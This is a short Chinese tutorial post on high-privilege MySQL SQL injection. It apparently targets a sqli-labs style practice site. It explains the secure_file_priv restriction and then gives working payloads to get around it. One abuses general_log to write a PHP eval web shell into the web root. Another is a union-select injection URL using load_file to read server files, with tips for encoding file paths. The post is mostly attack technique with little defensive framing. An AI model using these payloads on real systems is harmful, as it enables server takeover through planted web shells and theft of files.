1. 程式人生 > >sql註入--高權限,load_file讀寫文件

sql註入--高權限,load_file讀寫文件

技術 替代 道路 like variable 文件 新特性 特性 HP

1.MYSQL新特性限制文件寫入及替代方法

高版本的MYSQL添加了一個新的特性secure_file_priv,該選項限制了mysql導出文件的權限
secure_file_priv選項

secure_file_priv 

  1、限制mysqld 不允許導入 | 導出
        --secure_file_prive=null

  2、限制mysqld 的導入 | 導出 只能發生在/tmp/目錄下
      --secure_file_priv=/tmp/

  3、不對mysqld 的導入 | 導出做限制
              --secure_file_priv= 

linux
cat /etc/my.cnf
    [mysqld]
    secure_file_priv= 

win
    my.ini
       [mysqld]
     secure_file_priv=

查看secure_file_priv

show global variables like ‘%secure%‘;

高權限註入遇到secure_file_priv

在mysql高版本的配置文件中默認沒有secure_file_priv這個選項,但是你用SQL語句來查看secure_file_priv發現,沒配置這個選項就是NULL,也就是說無法導出文件。
技術分享圖片
替代方法:
要知道路徑

set global general_log=on;set global general_log_file=‘C:/phpStudy/WWW/123.php‘;select ‘<?php eval($_POST[123]) ?>‘;

技術分享圖片
技術分享圖片

2高權限文件讀寫

load_file()讀文件

http://test.com/sqli/Less-1/?id=-1‘ union select 1,load_file(‘c:\\flag.txt‘),3 --+

技術分享圖片

1.路徑使用\\ ,否則會被當作轉義符號
2.路徑使用/
3.盤符根路徑下可用c:admin.txt
4.16進制文件名
5.char(路徑ascii)

into outfile / into dumpfile寫文件

技術分享圖片

sql註入--高權限,load_file讀寫文件